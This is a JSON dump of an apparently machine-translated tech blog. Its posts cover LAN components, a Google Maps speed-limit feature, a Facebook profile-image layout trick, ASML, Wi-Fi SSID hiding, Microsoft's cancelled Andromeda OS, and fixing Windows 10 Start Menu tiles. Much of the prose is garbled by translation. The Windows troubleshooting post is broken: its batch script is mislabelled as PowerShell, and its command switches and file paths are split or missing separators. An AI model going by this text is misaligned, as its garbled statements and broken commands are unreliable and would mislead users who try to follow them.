[{"body":"Only the smallest companies can operate without computers, and once you have several computers, you may want to connect them. Local area networks, or LANs, turn personal computers into a co-working environment. A LAN may consist of thousands of computers or just a few, but all LANs are made up of some basic components.\nComponents of LAN For users, the network is all the software they actually process, whether it's a word processor, accounting software or some kind of advanced custom program. To make those programs work, at the back you'll find a network operating system, drivers that help the computer communicate with network hardware, and all the specialized code that handles the communication between devices. were. Those are the software components of the network.\nSo what are the hardware components of a LAN? These include actual computers, network interfaces, all switches, hubs, routers, and other special bits of technology that route communications. Finally, there is cable or equivalent wireless option. All of these components work together to create an operational network.\n Network workstation The main purpose of LANs is for users to collaborate with each other or at least share network resources, so all those users need a way to access the network. This is done through personal computers or workstations connected to each other, creating a LAN.\nSuch computers may include many types of devices. A certain office can contain everything, from low-end laptops or Chromebooks to high-tech engineering workstations, with many devices in between to handle routine tasks like accounting, word processing, and POS. (point-of-sale), etc. In a wireless network, even a tablet or mobile phone can be considered as a workstation.\nTypically, the most important part of designing a LAN is how you group all of those users' workstations together. Sometimes it's as simple as connecting people in the same physical space, but what if their needs are different?\nFor example, the basic WiFi signal is suitable for guests and regular users, but engineers or video editors will need to connect as quickly as possible. Group users into different subnets, where they can share separate sets of resources, often the best option. Advanced user groups scattered across separate two- or three-storey offices can share a network at a few gigabits per second, while people around the network are using a slower network.\nNetwork interface card and driver Personal workstations will not be part of the network unless they have some way of communicating with other devices on the LAN. That requires something called a Network Interface Card, commonly referred to as a NIC. This card provides a way for the computer to connect to the LAN and exchange information with it.\n Most computers are built with two types of NICs already in place, one that uses WiFi and one that uses Ethernet connectivity. You can use the integrated NIC to connect or install a dedicated dedicated card, to meet the needs of individuals in the company. For example, you might want a higher performance card than a built-in card or you may choose to connect to a network with an optical cable to upgrade performance. In those cases, you will need to purchase a separate physical card and install it on the computer.\nNIC hardware also requires some additional software to make it work, called the driver. The driver helps translate operating system commands into instructions that the NIC can recognize and work with. The operating system has built-in drivers for almost every card, so when you restart your computer, it recognizes the NIC and works.\nSometimes you will need to have a driver from the card manufacturer instead, either because it provides better performance, better reliability or opens up some of the main features you won't have with a standard driver. Windows updates its own drivers, not third-party drivers, so you'll have to periodically check for those drivers and install any updates yourself. If you installed your drivers from an authorized source, Linux will track third-party drivers and update them along with everything else.\nShared hardware resources There is certainly an expense incurred when creating and maintaining a network. Most importantly, improved productivity, but the resource sharing option will help save costs. For example, with printers, most users will need to be able to print, but only a few of them want to print large quantities regularly.\nInstead of placing the printer on each desk, you can let people share a small number of networked printers. There will always be some situations where you need to allocate or dedicate resources to a specific user or group of users, but everything will be fine. If you only have one person performing large-scale artwork or creating large-scale drawings and designs, then others won't need access to their printers or plotter.\nThis part of the LAN also includes all the hubs, switches and routers physically connected between devices on the network and between the network and the Internet or the company's larger WAN. A LAN includes things like routers and extenders that can expand your network. Normal users won't need to know how to use them - or care about them existing - but without them, you won't be able to connect and exchange information.\nIn small networks, each computer on the LAN is quite similar. In a larger network, you may have physical servers, rack cabinets that provide storage and processing capacity for the network. Traditionally, these were kept indoors, but the proliferation of cloud computing - huge clusters of servers accessed via the Internet - meant that servers could be located in remote locations or even Releases are operated by third-party vendors, usually large companies such as Amazon, Microsoft or Google.\nNetwork operating system One of the most important parts of a LAN is the software that handles all resources and users on the network, so everyone has what they need. It keeps track of which devices are on the LAN, which programs are running, what information is being circulated on the network, and what network resources are needed to make everything work.\nFrom the 1980s to the beginning of this century, you needed a separate program like Novell's Netware or Banyan's Vines to do it. These are complex, expensive programs, and it takes a lot of training to learn how to use them properly.\nNow Windows, OS X and Linux are all capable of running the network without requiring a separate operating system. They can even communicate with each other, so IT staff can use Linux to provide network services to Windows users in the office and Mac users to do graphic work in the Marketing department. Daily users will not see or use those advanced features. It is the job of the network administrator, who has a higher level password, and can add, remove and re-allocate users, as well as resources on the LAN.\nIn a small office that shares 5 computers, 1 printer and 1 WiFi connection, that administrator can be someone with basic training. In a larger business, you can find an entire IT team of people handling those functions. As you grow, demand will increase and you will need people with better skills to keep things running.\nNetwork-Aware programs The most visible part of the network, for users, is the software in which they actually work. For example, in the past, the network was the only convenient way that many users could collaborate on a Word document or Excel spreadsheet. Now that can be done in the cloud (other collaboration tools like Slack and Evernote make it easier for everyone to work together). You will also rely on the intranet to provide users with access to the company's main database, accounting software and other core programs, even if they are located on physical servers. in your own data center or on cloud servers of Microsoft, Amazon, Google or some other provider\nThere is a second set of network-aware programs (programs that are specifically tailored to a specific purpose) that few people will use, but no less important. These are the tools that administrators use to monitor LAN performance and security.\nOf course, some of these tools are built right into the operating system, but others are provided by third parties or can even be written by developers in the company. Network security is especially important, because if hackers gain access to sensitive data about company or customer activity, things can actually get really bad.\nMeans of communication You may have everything you need for an office LAN, all of which are new, but they're just separate hardware until you really have a way for them to communicate. You need to connect all those computers together, physically to the cabling system or via WiFi connection.\nIn the past, you used to coaxial cable, very similar to the type used for cable or satellite TV. Over time, most networks switch to a different type of cable, called a twisted pair cable, with pairs of wires running through a flat, lightweight cable that looks like (and is) a variation of the wiring used. for landline phones.\n The twisted-pair cable is more compact and easier to install, the phone-type connector at both ends makes it easy to plug it into computers, switches, hubs and other network devices. You'll often hear this type of connection called a pin and an Ethernet jack, though that's not entirely true. Ethernet refers to how it communicates over a cable, not a cable or connector, and it is used on older networks with coaxial cables.\nWireless LANs, or WLANs, use radio waves instead of physical wires to send signals between computers and other devices on the network. There are two separate frequency sets you can use, depending on your needs. Most older wireless networks use the 2.4GHz band, while newer devices can also use the 5GHz band.\nThe 2.4GHz band has several advantages such as the 2.4GHz signal will give you a longer and better range when going through walls, which can be important in a large office. Unfortunately, it is also more susceptible to interference, because there are many devices out there that have the same frequency. The 5GHz band is not as good as transmitting signals through walls and preferably at short distances, but when operating, it will give you a better signal. ncG1vNJzZmismaXArq3KnmWcp51kg266xJycrKuRp8Zur86mp6imlaPBtHnOn2SlmZ4%3D\n","link":"/post/6-necessary-components-of-lan/","section":"post","tags":null,"title":"6 necessary components of LAN"},{"body":"","link":"/","section":"","tags":null,"title":"BlogNews"},{"body":"","link":"/categories/","section":"categories","tags":null,"title":"Categories"},{"body":"After receiving a lot of feedback from users, hope has, disappointment, anger also has the final speed warning feature on the roads finally brought to Google by Maps.Starting on January 21, Google will deploy this feature with a new update to the Google Maps application on iOS and Android devices.\nLeaked images of Android Q: There will be dark mode and more focused on privacy   Accordingly, this new feature will appear as a speed-limited camera icon and show the speed allowed on the roads that users have, are and are about to pass.Speed ​​icons are automatically displayed to help users adjust the 'accelerator' accordingly so as to avoid speeding errors on speed lines.In addition, Google Maps will also provide audible alerts for users whenever they reach the maximum speed threshold.It can be said that with this late but extremely useful addition, the traffic safety situation will definitely improve, thereby helping to limit unfortunate accidents due to not being able to control the speed.\nCurrently, Google says a full-featured update that includes speed limits and over-speed alerts will be released to users in Denmark, the United Kingdom and the United States, while the version Updates to other markets like Australia, Brazil, Canada, India, Indonesia, Mexico and Russia only feature limited speed display.For other countries not included in the list (including Vietnam), users may not yet be able to experience this feature soon because Google has not yet announced the exact schedule for updating the new version to specific area.\n  Google Assistant has been integrated into Google Maps Previously, Google began testing this feature in 2016 and only applied in some areas such as San Francisco, United States and Rio de Janeiro, Brazil.In fact, speed limit alerts and display are not a new feature because it is introduced on third-party location applications Waze and Garmin.However, Google is one of the leading software developers in the world and is expected to do better, enabling users to make the most of the benefits that this smart feature brings.And in addition, Google Maps is also used by more Vietnamese than Waze or Garmin thanks to detailed information, constantly updated data and software pre-installed on many smartphones.Earlier, Google Maps also reopened the traffic tracking feature and updated a lot of positive feedback from users.\nSee more:\nGoogle will display tedious search results like this when EU copyright laws take effect Infringement of privacy, Facebook faces a million-dollar fine Microsoft raised the white flag, accepted to turn virtual assistant Cortana into assistant for Assistant and Amazon Alexa Apple restricts recruiting new personnel after iPhone sales decline ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqWRpcBuw8ilo2agkauybq2MrKeenZRiuaq5yK1knaGjpbmixYyfnJqspaeybrvNZpinnKKktqV5wKebZqGfqHqivM%2Bs\n","link":"/post/google-maps-will-have-a-speed-limit-display-feature-on-android-and-ios-apps/","section":"post","tags":null,"title":"Google Maps will have a speed limit display feature on Android and iOS apps"},{"body":"One of Facebook's most important components for a user is their profile picture. This image is displayed in the upper left of the page. It can be a recently updated image or it can be taken from any of your online albums.\nTypically, the profile image shows a portrait of someone and appears before the light gray line connecting from the left of the profile to the leftmost tabs. The following figure shows you a typical profile page with a regular image.\n Original profile image area Unlike Myspace, Facebook uses the same color and layout for all profiles. This makes your site look better overall, but it also limits your ability to look at the profile. You can display Facebook applications in the left sidebar, put them into tabs, but any changes to the style of the page or how it is displayed are restricted.\nHack Facebook profile picture\nThere is no valid way to 'hack' Facebook, but there is a method to change the profile picture, making your profile more beautiful, more eye-catching, or the setting of profile pictures for lets you innovate some of Facebook's rather stiff profile layouts.\nWorking?\nWhen creating a profile image from a certain image in your album, Facebook will allow you to crop it at whatever size you choose. When you go to your profile page, the selected image will be displayed with the elasticity equal to the width and height allowed by Facebook.\nThe first thing you need to understand here is the amount of time you need to spend on it. Facebook displays profile pictures with a maximum width of 200 px. If you exceed this size, it will automatically resize your image to 200 px and still maintain the correct height ratio. Facebook will display a picture in the profile with a height of up to 600px. This means that it will display any image with a maximum size of 200 x 600, otherwise it will change or resize.\n  Background image for blank profile\nNow that you know the maximum size of images in your profile, the basic tip is very simple. Facebook sets the display image to the highest position of the image against the gray line of 52 pixels. Normally, all your photos are placed at that height on this line.\nTo break the split line in your profile, simply create a gray image ((# D8DFEA) with a size of 52 pixels below the top. In addition, you need to redraw the area above the line This split follows to match the light blue (# EFF0F5) used in the header of the profile.\nFor more information on the colors used in Facebook's style sheets, you can refer to the following link for Facebook application developers.\nReplacing this blank form allows you to do some things that Facebook normally doesn't allow: the option to not display profile images. A new Facebook account without a profile image will display a blank image box that looks like a blurred personal image on it. Using a white line pattern allows you to add a 'negative' space to your profile, which is normally impossible.\nThe interesting thing starts here when you cover an image on the upper part of the blank template. The hardest part in doing this is isolating the image so that it can be clearly defined with the background image template. Our suggestion in this case is to use Adobe Photoshop to draw a selection around your image, then remove the corners.\n Put you in a living room on Facebook profile There are lots of interesting things here that you can do by pairing foreground photos with Facebook's background image. The first thing I did here was to create a small living room and put myself in it.\nYou can rely on the gray line to make it look like you're hanging on. Start by taking a picture in a swinging position on the door, then extract the image. Then cover the white version of the Facebook profile image template.\nHere are the pictures in the process and the final result:\n Create an image with a wall effect And this is the profile picture when using this effect.\nAnother interesting photo you can use is a picture of a tall retired child. This photo gives the profile quite a lot of fun and because it pushes the information of the left part down.\n Profile picture 200 × 600px on white pattern View photos in profile completed using the turtleneck retirement photo.\n Adjust the gray line There are many things that can be done with a gray line surface, such as creating a curved or pointed angle that interacts with the image. You can see an example of how to hack this in the image above. The image above shows a few of the stalactites falling on a blue unicorn and the earth in the middle of the header.\nSplitting photos in Photoshop is like using scissors to crop photos from a magazine. Photoshop has a powerful set of tools, a magic wand and a quick selection tool to help you. There are many instructions on how to make a selection, this is one of the documents that we recommend for your reference.\nSelect and split objects on DPF Select and split objects on video Instructions for videos with images on the Quick Selection tool. another problem\nHack some different parts. The easiest way is to post a status update that is too long to cover the two documents. You can avoid that by posting a long-term upgrade, then deleting it. See in the picture below on this issue. That action will leave your current state blank, but the upgrade will still appear on your news section and the illusion of hacking will be maintained.\nAnother point to note in using this hack is to display your profile image in the wall list. Profile images often shrink a bit. Plus, if you choose a 200 × 600 image, it will be more appropriate and separate your photos from others on Facebook when you display them in the list.\nConclusion and download\nFacebook's presence is an important part of personal online fanfare. You can completely make a little difference on the Facebook network by adjusting the appearance of this special profile.\nRob Banagale\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRmLhussCcnJunn6B6sb7On6ClnQ%3D%3D\n","link":"/post/how-to-hack-facebook-profile/","section":"post","tags":null,"title":"How to 'hack' Facebook profile"},{"body":"","link":"/categories/info/","section":"categories","tags":null,"title":"Info"},{"body":"When asked what is the center of the digital economy, the answer of many people will be Silicon Valley, where there are Apple, Google, Facebook and many attractive startups. Or some will just point to the area around Seattle, where Amazon and Microsoft are based. Some even think it is Shenzhen, the technology center of China.\nFew mention the peaceful suburbs on the edge of Eindhoven, the fifth largest city in the Netherlands. But that is where the headquarters of ASML - the only company in the world that produces the most advanced equipment, is particularly important for the modern chip industry. It can be compared like this: if the chips help the world operate, ASML is the hub pin, a vital element of the global technology industry.\n One of the most important stages of the chip manufacturing process is the creation of extremely small etchings - just a few tens of millionths of the width of a human hair - on the surface of the semiconductor, from which so the electrodes as well as the gateways control the flow of electricity through them. ASML is not the only company in the world that currently produces photolithographic machines to do that. It has to compete with Japan's Canon and Nikon, but the company's market share has nearly doubled since 2005, to 62%.\nIn addition, ASML alone can use ultraviolet light (euv) with a wavelength of only 13.5 nanometers. The shorter wavelength will allow smaller components to be attached - crucial for chipmakers trying to chase Moore's law, the law that says every 2 years the number of components possible attached to a certain area the semiconductor surface will double. The world's top three chip makers - Intel of America, Samsung of South Korea and TSMC of Taiwan - are now dependent on ASML technology, while the rest of the tech world depends on them.\nIn 2019, ASML's revenue grew 8%, to 11.8 billion euros ($ 13.2 billion), despite the world's semiconductor chip industry entering a recession. Although euv devices accounted for only 26 of the 229 photolithographic units the company sold last year, they contributed one third of revenue. ASML expects that the ratio will increase to 3/4 in 2025, in the context of other companies are making progress.\nBecause neither Canon nor Nikon pursued euv technology, investors concluded that ASML enjoyed a monopoly advantage for a while. Since 2010, the company's market capitalization has increased 10-fold, to 114 billion euros. Last year alone, the number doubled. Currently ASML has a higher market capitalization than Airbus, Siemens or Volkswagen. Stock prices also suffered the same fate as industry peers when the pandemic rocked global stock markets, but the company's long-term prospects were bright. P / E ratio of this stock is 32 times, twice higher than P / E ratio of the biggest customers.\nThings don't always go smoothly for ASML. The company was founded in 1984, initially as a joint venture between electronics giant Philips and chip maker ASM International. Initially, a small number of employees worked on the premises at Philips' Eindhoven. Jos Benschop, ASML's chief technology officer, remembers the early troubles. The first products became obsolete soon after launch, and it was difficult to find customers. Philips, even at the time of financial difficulties, helped ASML a lot. In addition the company also receives subsidies from the Dutch government and the predecessor of the European Union.\nIn 1995, the company listed shares in New York and Amsterdam. Shortly thereafter, ASML bet that ultraviolet photolithography technology will be the future of chip manufacturing. Big chip companies started using their machines around 2007. They were disappointed many times, and so did shareholders when ASML realized that the technology was too difficult to use. The first models were sent to IMEC research institute in Belgium in 2006, but it was not until 2018 that commercial customers could start using the technology.\nPrevious generation devices used lasers to produce direct light. But as the wavelength shortened, it became many times more difficult, and ASML machines could handle it.\nMachines that weigh 180 tons and are as big as a double-decker bus can be compared to a bible supply chain bible in the electronics industry. ASML has about 5,000 suppliers. Carl Zeiss, a German optical company, helps \"beautify\" the lenses. VDL, a Dutch company, provides supporting robot arms. The light source comes from Cymer, an American company that ASML acquired in 2013.\nASML is just one of hundreds of companies that supply components to chip makers. But its role was so important that Intel, Samsung and TSMC all poured money into its R\u0026amp;D department in return for a stake.\nNot only customers and investors are aware of ASML's monopoly position. So are politicians. Euv photolithography technology is on the list of technologies used in both military and civilian. China is anxious to develop its own technology - the effort that the US is trying to quell. In 2018, ASML received orders for a photolithography machine from a Chinese customer, but under US pressure the Dutch government has not granted ASML an export license.\nASML may hate being prevented from accessing China - the world's largest market. In the long term, not being able to enter China will threaten ASML's dominant position. Last April, ASML claimed six employees, including several Chinese nationals, had stolen trade secrets from their US offices since 2015, though it did not confirm suspicion that the case was connected. Chinese government.\nHowever, now China needs ASML rather than ASML needs China. Of all the requests from suppliers, ASML technology is the hardest to copy, according to Pierre Ferragu, technology analyst at New Street Research. Malcolm Penn, an expert at Future Horizons, said it took at least a decade for China to catch up with current ASML technology, and by then ASML had improved a lot. The Dutch company is currently working on a new photolithography machine with better lenses that can handle more semiconductor surfaces every hour. As planned, these machines will be shipped in 2023, and this time ASML hopes there will be no event that will cause them to delay.\nncG1vNJzZmismaXArq3KnmWcp51ktrV5yKxkp6ekYravwMSlZKyZnajCr7OMqKlmmaCluaZ5xqimoKSVYsGpsYyloK2snJq4r7vWp2SdraSYtW6vzqanmqapYsGprdNmoKxlpJ2ybr%2FOpZxmpZ%2BjvLG7y7JkqJ5dqbWmecyoqq1lmaK9sL7TmqWtZaKkuaZ5yKdkraCVYrStu8Gao2aslZi1r7vLqJ6yZaOqvbG42GaaoZmZow%3D%3D\n","link":"/post/it-is-not-intel-samsung-or-apple-google-the-little-known-dutch-company-that-is-the-sole-monopoly-of-the-most-important-role-in-the-global-technology-supply-chain/","section":"post","tags":null,"title":"It is not Intel, Samsung or Apple, Google, the little-known Dutch company that is the sole monopoly of the most important role in the global technology supply chain."},{"body":"","link":"/categories/news/","section":"categories","tags":null,"title":"News"},{"body":"Battle tips in Destiny 2 gamers need to knowDestiny 2 battle tips gamers need to know, Important tips Destiny 2 gamers need to know to get off to a good start and win every battle\n Combat tips in Chivalry 2Chivalry 2 Combat Tips, The following advanced combat tips will help rookie Chivalry 2 stand out from other players and increase your chances of winning\n Genshin Impact: More information about the new World Boss coming soonThe Genshin Impact community has just received a leak about the 'new' elemental World Boss that is expected to appear soon in the upcoming update.\n Minecraft 1.19 The Wild update detailsMinecraft 1.19 The Wild Update Details, Latest Minecraft 1.19 The Wild Update Info, including release date and incredibly new content\n Instructions to build a squad with Yelan in Genshin Impact 2.7Guide to build a squad with Yelan in Genshin Impact 2.7, Guide to build the most powerful squad with Yelan, a character about to debut in Genshin Impact 2.7,\n Instructions for pre-downloading the Genshin Impact 2.7 updateInstructions for pre-loading Genshin Impact 2.7 update, Genshin Impact 2.7 pre-loading guide on platforms, helping gamers experience the latest content\n Minecraft: Quick tips to collect XPExperience or XP is a useful resource in Minecraft. Players can obtain them by performing various activities, such as killing mobs, melting items, and mining.\n MGA Licensed Online Casinos That You'll LoveMGA licensed online casinos are among the most famous and reputable operators on the market. Click here to learn which ones they are \u0026amp; why.\u0026nbsp;\n Top 5 tips for newcomers to mobile online casinosMobile casinos are booming today. The unparalleled offer of playing games for real money right at home or, figuratively speaking, having them in the pocket of a mobile device,\n TOP biomes with the most beautiful scenery in Minecraft 1.18 Caves and CliffsMinecraft 1.18 Caves and Cliffs has 6 mountain biomes and 2 new cave biomes. With these exciting biomes and the brand new enhancement, players will have a lot of new space to\n Elden Ring: Top 5 Best Great Spears and Where to Find ThemGreat Spears - one of the most powerful weapons available in the Elden Ring, but where to find them earlier in the player's journey?\n Minecraft: A Guide to Building a GymConstruction is an important factor when it comes to Minecraft. This is also an interesting game and is loved by many gamers.\n Roblox: Spotify Island Game Guide - paradise for music loversSpotify is embarking on a new journey into the metaverse with the launch of Spotify Island, a Roblox world for fans to explore. Spotify is now the first music streaming service to\n Roblox: A Guide to Collecting Free Items in Spotify IslandSpotify Island is the first step into the metaverse of one of today's leading music streaming platforms - Spotify. The developer promises that this will be a paradise for music\n TOP add-ons to install in MinecraftThe world in the Minecraft sandbox game is already very large and it becomes even more endless with mods and add-ons created by the largest modder community today.\n Genshin Impact: What's special about the characters in banner 2.7?Soon, Genshin Impact version 2.7 will officially land. Which characters are you most looking forward to?\n TOP most powerful weapons in Gunfire RebornGunfire Reborn is an addictive roguelite first-person shooter with colorful cartoon graphics and fast-paced action. Like almost every FPS game that revolves around action, Gunfire\n Top 7 Reasons Why Online Casino Games are Popular Among GamersSince people are so enamored with the idea of ​​gambling, you will also feel like a part of it. That is normal. If you also want to make the most of the best online casino bonuses,\n Synthesize the most difficult treasure hunting locations, challenge players in Genshin ImpactIn the game Genshin Impact, there are many harsh locations, so treasure hunting is a difficult job that players have to face.\n TOP game arrangement, interior decoration similar to UnpackingUnpacking impresses with its unique gameplay, which requires players to open crates to get items to decorate the house. Many players have fallen in love with arranging their own\nncG1vNJzZmismaXArq3KnmWcp51ksHC7zaWgp51dnK6usY4%3D\n","link":"/post/online-game-tipsmake-com/","section":"post","tags":null,"title":"Online game - tipsmake.com"},{"body":"","link":"/post/","section":"post","tags":null,"title":"Posts"},{"body":"","link":"/categories/trend/","section":"categories","tags":null,"title":"Trend"},{"body":"","link":"/categories/update/","section":"categories","tags":null,"title":"Update"},{"body":"Wireless networks are less secure than wired networks. It is simply due to the nature of the broadcast-based communication mode. Therefore, Wifi security is always an important issue. There are a number of ways to minimize Wi-Fi access, and one of the first things users often do is to hide the Wifi network and the router so that others cannot connect to the hidden network. This article will show you how to hide Wifi networks, discuss security issues when hiding this network.\nWhy should Wifi network be hidden? According to IEEE 802.11 standard, each wireless network must have an identification number used by the device to connect to the network called a Service Set Identifier (SSID), which is easily understood as the network name.\nEvery 100 milliseconds, the router will broadcast the beacon frame, which is a signal transmitter containing information about the network, including the SSID, to indicate that the network exists. If the router is like a human and it will say 'I'm here, my name is Cisco04022. If you hear me, you can use that name to connect with me. ' Here's how your phone knows about all the Wi-Fi networks around. If you prevent the router from notifying other devices about the existence, it will become invisible. And the device will not know and cannot connect.\nThe limitations of hiding network SSID Wireless signals are the same, they start at a source (router) and go in all directions (like a constantly expanding sphere). There is no way to capture the signal transmitted in a beam from the router to a specific device and even when you can aim it, you cannot stop this signal as soon as it transmits to the device.\nLet's say your wireless network does not play SSID, no one knows its existence except you. You establish a connection with it and use the Wifi network as usual. However, when accessing the website, the router will broadcast a signal to get the website data and computer. Do you see any problems here? Wifi signals must be transmitted through open air to the computer, so anyone within its radius can block this signal.\nIn other words, even when you hide the SSID, hackers and other malicious users can still detect it by blocking 1) the device signal transmitted to the router and 2) the router signal transmitted to the device.\nHow to hide SSID or hide WiFi network As mentioned above, hiding WiFi network cannot guarantee the security of your WiFi network. However, at present, in some parts of the world, it is not required to display WiFi name in public mode, so it is necessary to hide SSID.\nDepending on the type of router and manufacturer, hiding SSID may be different because you need to access the Router configuration page to proceed with a different IP Router address. For example, most Netgear users can access this configuration by going to routerlogin.net. Note, you need to connect the wired LAN to the router to log in to the browser.\nStep 1:\nIn the web browser, we access the router's configuration page. Typically, the IP address will be in the form http://192.168.0.1 or http://192.168.1.1. Or more precisely, see the device for IP address.\nStep 2:\nYou enter your User login and password according to the information provided on the Router device or in the manual.\n  Step 3:\nNext, look at the navigation bar of the Wireless section. If you have a small menu, you can find something similar to Wireless Settings, Wireless Options, Wireless\u0026gt; Basic Settings , etc.\nYou can adjust the SSID, channel, channel mode, channel width on this page, but here you need to find the Enable SSID Broadcast option and uncheck it. Depending on the router model, it has other names such as Visibility Status, Enable Hidden Wireless or SSID Broadcast:\n  The hidden WiFi, hidden WiFi network SSID is not a way for users to secure WiFi networks. It simply doesn't show the WiFi network name on the WiFI network list on laptop or mobile devices. Thus, we will only limit the situation of unauthorized access, access the 'pagoda' to WiFi network.\nIf you really want to secure your network, you need to do the following necessary tasks:\n1. Change default admin information. Just a quick search on the Internet you can see the password, the default admin username of most routers. If you do not change this information, other security settings become useless. This is the first thing you need to do for any router.\n2. Encryption using WPA2 and AES. As mentioned above, routers always signal in all directions, but you can encrypt them so that they are not blocked. This means that only your computer can read the signal.\n3. Disable the WPS and UPnP features. These are convenient features that have many major security holes, mainly the ability to break other security features (such as firewalls), so you should turn them off as soon as possible.\nOther tips for Wifi networks at home\nWhen setting a password for the network, make sure you choose a strong password and this applies to both the administrator password and the Wifi connection password.\nIf you have a wireless dead zone or poor Wi-Fi signal in your home or apartment, you can solve it using either a Wifi extender or a powerline adapter.\nSee more:\nAdditional ways to Wifi for desktops Instructions on how to retrieve saved Wi-Fi passwords on computers and laptops Instructions for fixing Wifi errors with yellow exclamation I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kxKqyyGaqnpulp7a1xYyiqmaalanBpr6MrZ%2Bapl2dtqW1zaBkraCVYsC0tcM%3D\n","link":"/post/wi-fi-security-is-better-than-hiding-the-ssid/","section":"post","tags":null,"title":"Wi-Fi security is better than hiding the SSID"},{"body":"Launched in 2010 with Windows Phone 7 and gradually gaining more attention in 2012 and 2014 with Windows Phone 8 and 8.1, Microsoft once entered the mobile operating system race with Android and iOS. Windows Phone became Windows 10 Mobile in 2016, and that's when the operating system died down. The last feature update for Windows 10 Mobile was in 2017.\nHowever, that is not the end of Microsoft's own operating system on smartphones. Microsoft once had a plan called Andromeda, which was a combination of Andromeda operating system software, and dual-screen hardware. Microsoft later used this hardware idea to create the Surface Duo running Android, but what about Andromeda OS?\n  Windows Central reporter Zac Bowden got his hands on Andromeda OS, but is running on a Microsoft Lumia 950, a single-screen device. The reason was because the Andromeda OS developers didn't have a dual screen device at the time, so they worked on the Lumia 950.\nAndromeda OS was not scheduled for release on the Lumia 950 or any other Windows phone on the market at the time. Microsoft only used the Lumia 950 in the internal development of the Andromeda operating system.\nAndromeda OS is a canceled project. Work on the project was postponed in 2018 and never resumed.\u0026nbsp;\nBowden stressed that this is not something Microsoft is currently working on for a future Surface Duo, these images and videos are just the Andromeda OS of the past. Android will continue to be the operating system for any future Surface Duo devices.\u0026nbsp;\nAnd since it was cancelled, all the features and interfaces are in an unofficial state, but enough to show us the idea that Microsoft used to have with Andromeda OS.\nClose-up of Andromeda OS   Microsoft decided to do something quite unique with Andromeda OS, which is to build an operating system around the experience of taking notes, writing, and drawing. On the lock screen, users can start taking notes directly by placing the pen on the screen. You don't need to initiate a special mode or launch apps, just grab the Surface Pen and start writing, if you don't delete or save them, they'll stay on the lock screen forever.\nIt removes any barrier between the user and the ability to take notes, so you don't have to bother with unlocking your phone and finding the app or mode you need to let you take notes. Just start writing on the lock screen, and you're good to go.\nUnlocking the device takes you to the home screen, which on Andromeda OS is another canvas. The framework was called Journal (which later became the Microsoft Whiteboard app), which acts as a digital notebook with the ability to take notes with a pen, insert images and 3D objects, etc. Journal will always run in the background. , with other apps on top.\n  Andromeda OS also works based on gestures. The on-screen Start and Cortana buttons will disappear when opening the app to provide a full-screen experience, to access them you'll swipe in from the left to access Start and from the right for Cortana, which is also where Your message has been archived. On Andromeda OS, Cortana helps manage missed or saved notifications for later processing.\nSwiping down from the top edge opens the Control Center, something that was on Windows 11 but has been in development since Andromeda OS. In terms of features, it's completely familiar, with the ability to control things like Wi-Fi, brightness, volume, and music playback. It also features Fluent Design's acrylic blur effects.\n  In fact, even with the unfinished software, it's pretty clear that Microsoft will capitalize on the beauty of Fluent Design on top of the Andromeda operating system.\u0026nbsp;\nThere's also an experimental \"Radial UX Menu\" mode, where instead of swiping to access Start and Cortana, a swipe of the Radial UX Menu gives you an interface full of buttons for things. like Start Menu, switching apps, etc. This could be an alternative to on-screen navigation, as not everyone was used to full gesture navigation at the time. Or, it can be an alternative method of navigation when you use the pen.\u0026nbsp;\n  Microsoft also included Continuum mode in Androimeda OS, but unfortunately it is not available on this build.\nThere are a few points about the interface on Andromeda OS that have been brought to Android by Microsoft, including the date and time layout on the lock screen, the multitasking interface, controlling parallel running applications in split screen mode, …\nOnce again, the Andromeda OS project has been abandoned. It is not in development and will never be released. Surface Duo is currently an Android device, and Microsoft plans to continue using Android in the future.\nncG1vNJzZmismaXArq3KnmWcp51ksK270p6sqWWfm3qutcKrpqynlqnAbq%2FAp5qepJWZeqK6w6umpp2UlnqwvMSrmK2hnpx6tMXSrZymZaKqu6%2B1zaBkqKZdocKutcBmcG5o\n","link":"/post/close-up-of-microsoft-s-canceled-andromeda-operating-system-running-on-lumia-950/","section":"post","tags":null,"title":"Close-up of Microsoft's canceled Andromeda operating system running on Lumia 950"},{"body":"The tiles are what appear on the Start Menu. If you have applications, the Start Menu will basically be just a list of these applications and take up a lot of space on your computer. However, for some users, the tile icons on the Start Menu seem to have disappeared. Application tiles are still kept in their original positions and if you move the cursor over these positions, you will be able to read the name of the corresponding application. However, the icons do not appear. Here are some ways to fix missing tile icons on the Start Menu in Windows 10.\nChange the tile size Right-click on the tile with the missing icon and from the context menu, switch to resize . Change the size of the icon to anything. This causes tile to appear again. Restart your system to see if the fix is ​​working after restarting.\nCreate application shortcut in the Start Menu folder For applications that are missing tile icons, locate their EXE files and create shortcuts for them on the screen. Next, go to the following location:\n C: Users [UserName] AppDataRoamingMicrosoftWindowsStart MenuPrograms  Copy and paste the shortcut to the location above. Perform this operation for all applications without the tile icon. If a shortcut appears in the Start Menu folder, you should replace it with the new one. If there is no shortcut, go ahead and paste it here.\nUse Startup Repair Tool Download Microsoft's Startup Repair Tool and run to see if it can fix the problem. It can tell you that your database is broken and unfortunately there is no easy way to rebuild this database. Even Microsoft recommends that you create a new user to fix the problem. But before you do this, try the other remedies below.\n  Use the PowerShell script Open Notepad and paste the following into Notepad. Save it with the BAT extension, and then run the file with administrative rights. Your taskbar will disappear for a while, but don't worry, it's just restarting Explorer.exe . When the taskbar is back, restart the system and check if the tile icons are back.\n @echo offtaskkill / f / im explorer.exe taskkill / f / im shellexperiencehost.exe timeout / t 3 / NOBREAK\u0026gt; nul del% localappdata% PackagesMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewyTempState * / q timeout / t 2 / NOBREAK\u0026gt; nul start explorer @echo on  Use Command Prompt - Command prompt Open Command Prompt with administrative rights. You should close everything else at this time. The commands that you are about to execute will take a bit of time and the Explorer.exe process will be terminated making it more difficult to switch between applications.\nRun the following commands, one by one.\n DISM.exe / Online / Cleanup-image / Scanhealth  Next is:\n DISM.exe / online / cleanup-image / restorehealth  Then comes:\n sfc / scannow    This can fix the corrupted system files. It will take some time to complete. Once completed, restart your system. If the sfc / scannow tool tells you it can't fix corrupted files, you may have encountered a more serious problem. The only way is to reset the PC or create a new user and move your file there.\nSee more:\nTips or help you master the Start Menu on Windows 10 Back up Start Menu settings on Windows 10 Customize and restore Start Menu Windows 10 by default 